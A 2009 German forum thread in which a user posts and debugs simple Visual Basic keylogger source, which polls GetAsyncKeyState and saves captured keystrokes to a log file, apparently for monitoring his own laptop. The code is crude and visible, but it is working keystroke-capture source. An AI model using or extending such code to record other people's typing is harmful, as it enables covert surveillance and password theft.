Keylogger (Nicht zum verbreiten)

Oreagel · 23.05.2009

Also ich hätt gern Absolute Überwachung auf meim Lappi, also hab ich mir mit Visual Basic 2008 Express Edition einen Keylogger gemacht. Leider hab ich ihn nur so weit gebracht, das er alles in einer Textbox aufführt, aber nicht in einem Logfile (*txt Datei!) Hab hier den Code:

Public Class Form1
Dim result As Integer
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal Key As Long) As Integer
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
Timer1.Start()
End Sub

Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
For i = 1 To 225
result = 0
result = GetAsyncKeyState(i)
If result = -32767 Then
TextBox1.Text = TextBox1.Text + Chr(i)
End If

Next i
End Sub
End Class

Nun möcht ich folgendes reinmachen:
-Beim starten des Keyloggers wird in den Dokumenten eine *txt datei erstellt
-Beim beenden wird alles eingegebene in die Datei eingefügt und abgespeichert

Leider finde ich bei Google und anderen Seiten keine Liste mit Codes, wo der dabeisteht.. Hoffe hier weis jemand bescheid, denke das ich hier richtig gelandet bin.

Oreagel · 23.05.2009

Keiner hier der sich damit auskennt?

nitrouz92 · 23.05.2009

manchmal muss man hier eben geduld haben...

Max11.111 · 23.05.2009

Oreagel schrieb:
Also ich hätt gern Absolute Überwachung auf meim Lappi, also hab ich mir mit Visual Basic 2008 Express Edition einen Keylogger gemacht. Leider hab ich ihn nur so weit gebracht, das er alles in einer Textbox aufführt, aber nicht in einem Logfile (*txt Datei!)

Okay. Solange es dein Rechner ist, stellt das kein Problem dar. Logfiles sind meist log-Dateien. Allerdings ist das egal. Beides kannst du mit Notepad lesen.

Oreagel schrieb:
Hab hier den Code:

Dafür haben wir extra einen [noparse]

Code:

[/noparse]-Tag.

PHP:

Public Class Form1
	Dim result As Integer
	Private Declare Function GetAsyncKeyState Lib "user32" (ByVal Key As Long) As Integer
	Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
    	Timer1.Start()
	End Sub

	Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
    	For i = 1 To 225
        	result = 0
        	result = GetAsyncKeyState(i)
        	If result = -32767 Then
            	TextBox1.Text = TextBox1.Text + Chr(i)
        	End If
    	Next i
	End Sub
End Class

Oreagel schrieb:
Nun möcht ich folgendes reinmachen:
-Beim starten des Keyloggers wird in den Dokumenten eine *txt datei erstellt
-Beim beenden wird alles eingegebene in die Datei eingefügt und abgespeichert

Ich würde es anders machen.
Nach

Code:

result = GetAsyncKeyState(i)

Speicherst du "result" in einer Textdatei (*.log oder *.txt - egal) ab.

Oreagel schrieb:
Leider finde ich bei Google und anderen Seiten keine Liste mit Codes, wo der dabeisteht.. Hoffe hier weis jemand bescheid, denke das ich hier richtig gelandet bin.

Ich kann kein VB, aber Schwester Google hilft dir mit Sicherheit.

Oreagel schrieb:
Keiner hier der sich damit auskennt?

Immer mit der Ruhe...

nitrouz92 schrieb:
manchmal muss man hier eben geduld haben...

Richtig. Dann kann es schon mal vorkommen, dass man den Thread vergisst und nach ein paar Monaten eine Antwort bekommt...

Oreagel · 23.05.2009

nitrouz92 schrieb:
manchmal muss man hier eben geduld haben...

Ich hab so viel Geduld, an Silvester warte ich bis 24:00 mit saufen :lol:

Oreagel · 23.05.2009

Code:

Public Class Form1
    Dim result As Integer
    Private Declare Function GetAsyncKeyState Lib "user32" (ByVal Key As Long) As Integer
    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        Timer1.Start()
    End Sub

    Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
        For i = 1 To 225
            result = 0
            result = GetAsyncKeyState(i)
            If result = -32767 Then
                TextBox1.Text = TextBox1.Text + Chr(i)
            End If




        Next i
    End Sub

    Private Sub TextBox1_TextChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles TextBox1.TextChanged
        My.Computer.FileSystem.WriteAllText("C:\Users\Torben\Desktop\result.log", TextBox1.Text, False)
    End Sub
End Class

So hab ichs jetzt, auf Anweisung von www.forum.vb-paradise.com
Jetzt kommt folgende Fehlermeldung:
Eine Ausnahme (erste Chance) des Typs "System.UnauthorizedAccessException" ist in mscorlib.dll aufgetreten.

Wie Bügel ich den Fehler aus?

Max11.111 · 23.05.2009

Oreagel schrieb:
Jetzt kommt folgende Fehlermeldung:
Eine Ausnahme (erste Chance) des Typs "System.UnauthorizedAccessException" ist in mscorlib.dll aufgetreten.

Wo? Zeile?

Oreagel · 23.05.2009

Max11.111 schrieb:
Wo? Zeile?

PHP:

My.Computer.FileSystem.WriteAllText("C:\Users\Torben\Desktop\result.log", TextBox1.Text, False)

Die Zeile wird gelb angezeigt, der Fehlerort. Ich habe angeblich nicht die berechtigung auf die Datei zuzugreifen.

Werde das mit / mal versuchen
das mit / funktioniert leider nicht, muss dich enttäuschen. die gleiche fehlermeldung.

Max11.111 · 23.05.2009

Muss man die Pfadangaben nicht wie In C++ mit "\\" statt "\" machen? Versuchs mal mit "/".
Besteht die Datei schon?

//
Hilfe naht!

Aktive Benutzer in diesem Thema: 4 (Registrierte Benutzer: 3, Gäste: 1)
Max11.111, BioaSharky, Oreagel

Oreagel · 23.05.2009

Besteht die Datei schon?

´türlich

Oreagel · 23.05.2009

Hier ein Bild zur Fehlermeldung

Oreagel · 23.05.2009

Vielen dank für die Mühe, die sich manche gemacht haben, es funktioniert jetzt. Habe per ICQ den Tip bekommen, ich soll anstatt Laufwerk C: lieber D: nehmen, da is mehr platz frei und man hat volle rechte darauf. Kan geclosed werden, Oreagel over. :victory: :victory: :victory:

Max11.111 · 23.05.2009

Oreagel schrieb:
Vielen dank für die Mühe, die sich manche gemacht haben, es funktioniert jetzt. Habe per ICQ den Tip bekommen, ich soll anstatt Laufwerk C: lieber D: nehmen, da is mehr platz frei und man hat volle rechte darauf.

Also hat sich meine Vermutung bestätigt. Vista ist schuld.

Oreagel schrieb:
Kan geclosed werden, Oreagel over. :victory: :victory: :victory:

Schön das du dich so freust.

Hier wird nichts geclosed. Die Threads bleiben offen.
Vielleicht hat ja in 5 Monaten irgendeiner noch eine Frage oder einen Hinweis etc. ...

Oreagel · 23.05.2009

Max11.111 schrieb:
Schön das du dich so freust. Hier wird nichts geclosed. Die Threads bleiben offen.
Vielleicht hat ja in 5 Monaten irgendeiner noch eine Frage oder einen Hinweis etc. ...

:lach: find ich super, in andern Foren wird immer nach dem Lösen des Problems vom Threadstarter alles geclosed :tr

Oreagel over! :hal:

Keylogger (Nicht zum verbreiten)

Oreagel

Oreagel

nitrouz92

Max11.111

Oreagel

Oreagel

Max11.111

Oreagel

Max11.111

Oreagel

Oreagel

Oreagel

Max11.111

Oreagel

Keylogger (Nicht zum verbreiten)

ANGEBOTE & SPONSOREN

Neueste Beiträge

Statistik des Forums